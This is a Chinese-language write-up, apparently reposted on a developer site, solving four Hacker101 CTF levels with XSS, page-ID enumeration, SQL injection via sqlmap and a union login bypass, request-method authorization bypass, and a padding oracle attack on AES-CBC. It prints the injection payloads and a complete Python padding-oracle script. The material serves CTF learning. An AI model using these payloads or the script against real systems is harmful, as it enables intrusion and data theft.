内容简介:最近打算到hackone上混混,意外的发现了
最近打算到hackone上混混,意外的发现了 hack101 CTF 这个东东,读了一下说明,貌似是只要在这个CTF中取得一定的分数就会收到hackone平台的私人渗透测试邀请,于是花了点时间完成了4道题,总体感觉题目的质量不错,与实际漏洞结合很紧密,有些点不容易想到,所以本着为想上hackone挖洞的童鞋提供一些便利,投了这篇稿子,并且打算持续更新,下面详述做题过程:
第一题A little something to get you started
这个很简单,打开题目链接:
常规思路右键查看网页源代码:
发现可疑的background.png,访问之,得到flag:
第二题Micro-CMS v1
这个也不是很难,一共有3个flag,主要考察XSS知识,打开题目链接:
页面上存在3个链接,其中前两个为已经存在的内容页面,第三个链接可以创建新的页面:
第一个页面
第二个页面
第二个页面
首先来看第一个页面,上面有Edit this page链接,点击可以修改页面的标题与内容:
很自然的想到xss,先试试Title,编辑Title为:<scrIpT>alert(/xss/)</sCRipt>
保存,页面是这样的:
到这里可能以为Title这里做了<script>标签的转义,实际上如果我们细心,就会留意到最初的主页上也是有我们的Title的,我们点击Go Home转到主页,果然发现了弹框:
这样就拿到了这道题的第一个flag,回想一下,刚刚的编辑页面中这样就拿到了这道题的第一个flag,回想一下,刚刚的编辑页面中还有内容框也可能存在xss,我们试一下:
保存后页面是这样的:
很明显,script标签被过滤了,别轻易放弃,换个不需要script的试试:
保存,成功弹框,并且在网页源代码中发现了flag:
这样就拿到了这道题的第二个flag,猜想第三个flag可能与创建页面有关,先建个页面试试,建完以后是这样的
注意到这里的url最后page的参数为10,而刚刚那两个页面的参数为1和2,那么中间的数值去哪了呢?用burpsuite抓包,用Intruder功能访问这些页面:
可以看到GET /efa8a59c80/page/6时,返回的状态码为403而不是404,说明这个页面存在,但是我们没有权限访问,仔细回想,每个页面除了展示页面外还有编辑页面,这里page/6的展示页面我们没有权限访问,那么它的编辑页面会不会可以直接访问呢?通过观察前面两个页面的编辑页面的url,我们可以猜测page/6的编辑页面为page/edit/6,访问它:
就拿到了此题的第三个flag
第三题Micro-CMS v2
此题难度稍有提升,主要考察 sql 注入知识,打开主页如下:
页面布局与上一题基本一样,不同的是所有的页面点击后都需要登陆:
随便输入一个不常用的用户名及密码,点击Log In,页面反馈如下:
提示为Unknown user,我们先记着这个反馈回来的字符串
然后输入用户名adminsb’ or ‘’=’,密码adminsb’ or ‘’=’,点击Log In,页面反馈如下:
这次反馈为Invalid password,说明用户名adminsb’ or ‘’=’虽然不存在但是却被判断为合法的用户名,所以依据反馈的不同可以进行布尔注入,而且可以猜想后台sql语句可能是类似下面这样的:
...... $result = $db->query(select password from users where username='$username'); if($result['password'] == $password) login_success(); ......
利用burpsuite抓下post登陆包,保存为1.txt,将username参数的值标注为*,放到sqlmap中注入:
最终拿到用户名及密码:
回到登录页面登录,拿到flag:
看了一下这道题的提示,这个flag居然是flag2,flag0和flag1都还没有拿到,其中flag0给了这样一条提示:
Getting admin access might require a more perfect union
结合刚刚猜测的后台sql逻辑,很容易想到以
用户名:adminsb' union select '123456 用户名:123456
尝试登录,果然不出所料,成功登陆,页面跳转:
flag就在Private Page里:
这样就拿到了flag0,
那么flag1呢,看了一下提示:
What actions could you perform as a regular user on the last level, which you can't now? Just because request fails with one method doesn't mean it will fail with a different method Different requests often have different required authorization
貌似是要用不同的请求方法去请求原本访问不了的页面,刚刚的Private page的url为page/3,其编辑页面为page/edit/3,这两个页面都是需要登陆才能访问的,我们依照提示换一下请求方法为POST,成功获取了flag1:
第四题Encrypted Pastebin
这个题就厉害了,与密码学结合很紧密,打开页面如下:
依照描述这是一个加密保存用户文本的web应用,加密方法使用AES-128,我们来试一试,在Tiltle以及内容框中分别输入一段信息,点击post,网页发生跳转:
可以看到,服务器仅仅通过url中的信息就还原出了我们刚刚输入的文本,所以这里我猜想有两种可能性:
我们输入的信息被加密保存在了url的post参数中,服务器接收后直接解密返回给浏览器。 我们输入的信息被保存在了服务器的数据库中,post参数只是加密后的索引值,服务器解密这个索引值后再到数据库中取出数据,返回给浏览器。
那么哪种才是正确的呢,如果你学过密码学我们应该清楚,如果加密前的明文信息量越大,那么密文的信息量肯定也越大,否则必然会导致信息丢失,那么如果是上面第一种可能,我们尝试增大文本量,那么post参数的值肯定也越长,我们来验证一下,抓下编辑文本的数据包:
不断增大body的内容:
可以发现返回的url中的post参数长度并没有变化,这就推翻了第一种可能性,所以post参数的值很可能是加密后的数据库索引,看来这道题需要我们想办法破解密文。
在抓包点击Follow redirection跟踪跳转:
尝试随意删改url中的post参数,居然爆出了第一个flag!
同时,爆出了一些后台处理逻辑:
Traceback (most recent call last): File "./main.py", line 69, in index post = json.loads(decryptLink(postCt).decode('utf8')) File "./common.py", line 46, in decryptLink data = b64d(data) File "./common.py", line 11, in <lambda> b64d = lambda x: base64.decodestring(x.replace('~', '=').replace('!', '/').replace('-', '+')) File "/usr/local/lib/python2.7/base64.py", line 328, in decodestring return binascii.a2b_base64(s) Error: Incorrect padding
从以上报错我们可以得出下列信息:
后台脚本为python(这个知道了貌似没啥用) url的post参数为一串处理过的base64值,处理逻辑为: x.replace('~', '=').replace('!', '/').replace('-', '+')
另外,我们从主页中可以得知加密算法为AES-128,那么其密文数据块大小应该是16字节,那么如果我们将post参数改为小于16个字节会怎么样呢?我们来试一下:
看,又有新的报错(注意为了不发生base64解码错误,这里post的值必须在结尾加上两个~~,也就是替换后的==,),新的报错信息如下:
Traceback (most recent call last): File "./main.py", line 69, in index post = json.loads(decryptLink(postCt).decode('utf8')) File "./common.py", line 48, in decryptLink cipher = AES.new(staticKey, AES.MODE_CBC, iv) File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/AES.py", line 95, in new return AESCipher(key, *args, **kwargs) File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/AES.py", line 59, in __init__ blockalgo.BlockAlgo.__init__(self, _AES, key, *args, **kwargs) File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/blockalgo.py", line 141, in __init__ self._cipher = factory.new(key, *args, **kwargs) ValueError: IV must be 16 bytes long
从上述报错中我们可以得到下列信息:
加密用的AES算法模式为CBC,密钥为staticKey,应该配置在服务端 CBC模式使用的iv就在post参数中,iv的长度为16字节,而且应该就是post参数base64解码后的前16个字节
我们尝试构造一个长度合法的密文:
放到post参数中发送:
又产生了新的报错:
Traceback (most recent call last): File "./main.py", line 69, in index post = json.loads(decryptLink(postCt).decode('utf8')) File "./common.py", line 49, in decryptLink return unpad(cipher.decrypt(data)) File "./common.py", line 22, in unpad raise PaddingException() PaddingException
注意这里触发了AES解密函数的PaddingException异常,到这里,已经满足了Padding Oracle Attack的必要条件:
攻击者能够获得密文(ciphertext),以及密文对应的IV(初始化向量) 攻击者能够触发密文的解密过程,且能够知道密文的解密结果
关于Padding Oracle Attack,是一个一言难尽的话题,这两篇文章讲的比较清楚:
简而言之,就是不断调整iv使其能够返回正确的解密结果从而推断出明文,废话不多说,展示一下花了一天时间整出来的渣渣代码:
#coding=utf-8 import base64,requests,re,threading,json def my_xor2(str1,str2): new_str = "" for i in range(len(str1)): new_str = new_str + chr(ord(str1[i])^ord(str2[i])) return new_str def is_padding_right(url): r = requests.get(url) if key_str not in r.text: print r.text return True else: return False b64d = lambda x: base64.decodestring(x.replace('~', '=').replace('!', '/').replace('-', '+')) b64e = lambda x: base64.encodestring(x).replace('=','~').replace('/','!').replace('+','-') def attack(block_index): iv = cipher_blocks[block_index] cipher = cipher_blocks[block_index+1] iv_chs = [iv[i:i+1] for i in range(0,len(iv),1)] #拆分iv为数组便于处理 iv_index = 15 m_value = ['a']*16 #用于存储中间值 while(iv_index > -1): if iv_index != 15: for temp in range(iv_index+1,16): iv_chs[temp] = chr(ord(m_value[temp]) ^ (16 - iv_index)) #更新iv for num in range(256): iv_chs[iv_index] = chr(num) data = "" data = data.join(iv_chs) data = data + cipher new_url = "" new_url = url + b64e(data) #print new_url if is_padding_right(new_url): m_value[iv_index] = chr(num^(16-iv_index)) break iv_index = iv_index - 1 print "block_index:",block_index,"[iv_index:",iv_index*"#","]" m_value_str = "" m_value_str = m_value_str.join(m_value) plain[block_index] = my_xor2(m_value_str,iv) print "Get plain block:#",block_index,":",plain[block_index] url = "http://35.190.155.168/ebe58e9d6e/?post=" example = "w4N2JrPqWa7ZO8IVMiJMx3Zv6QqPJ1C1KVjIyLDkP1OFTbLI16Xc8KGetNaEx6L!02QDVwicF8Eoy6387pdyjTbe6c6q3hZRXbArGQIpmmT9KQW0!Yj5KGLDJA96iscGvKZ2G3SvGVhASFSpyiLrVYHhXL0UKzbr1BtCAOHdlxTKgcM5taNouOyclY8feTbPguDnqHqhibyVnw55RChVqA~~" key_str = "PaddingException" str = b64d(example) cipher_blocks = [str[i:i+16] for i in range(0,len(str),16)] if(len(cipher_blocks) < 2): print "ERROR,you should at least have 2 blocks!" exit() threads = [] for i in range(9): #密文一共有9块,所以开9个线程 t = threading.Thread(target=attack,args=(i,)) threads.append(t) plain = ["a"]*9 #明文一共9块 for t in threads: t.setDaemon(True) t.start() for t in threads: t.join() plain_text = "" plain_text = plain_text.join(plain) print "result plain:",plain_text
经测试在美帝的vps上跑,大约10分钟就可以出结果。
最终结果:
result plain: {"flag": "^FLAG^ddee16a603148f1d230889fc3e85e53e3b3792095b9d5f3987046f22a63e9cdf$FLAG$", "id": "3", "key": "0vGaWMGLxVgY-IAm5ZWhfQ~~"}
这样第二个flag就拿到了。这道题还有第三、第四个flag,我没有继续做下去,因为至此已经获取了足够的分数可以参与私人渗透请求了,不过我可以给想继续做下去的童鞋两点思路:
上面解出的明文中id为"3",可以通过修改前一块密文的对应字节,使之变为"1",因为我记得只向数据库中插入了两条记录,那么id为"1"到底是什么呢,我猜很可能就是flag。
在跑上面的脚本过程中,我发现一条有意思的报错: Traceback (most recent call last): File "./main.py", line 71, in index if cur.execute('SELECT title, body FROM posts WHERE id=%s' % post['id']) == 0: TypeError: 'int' object has no attribute '__getitem__'
注意这里的sql语句,想到了什么,对!就是注入,如果我们让解密出来的明文中的id值为”-1 union select database(),user()”那么sql语句就会变为:
SELECT title, body FROM posts WHERE id=-1 union select database(),user()
数据库信息就会回显在页面中,所以这里还可以进行sql注入,只不过payload需要用padding oracle attack的办法进行加密,不过这个想想都掉头发,我头发少,就留给你们了(笑)!
那么就让我们开始愉快地挖洞吧!
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。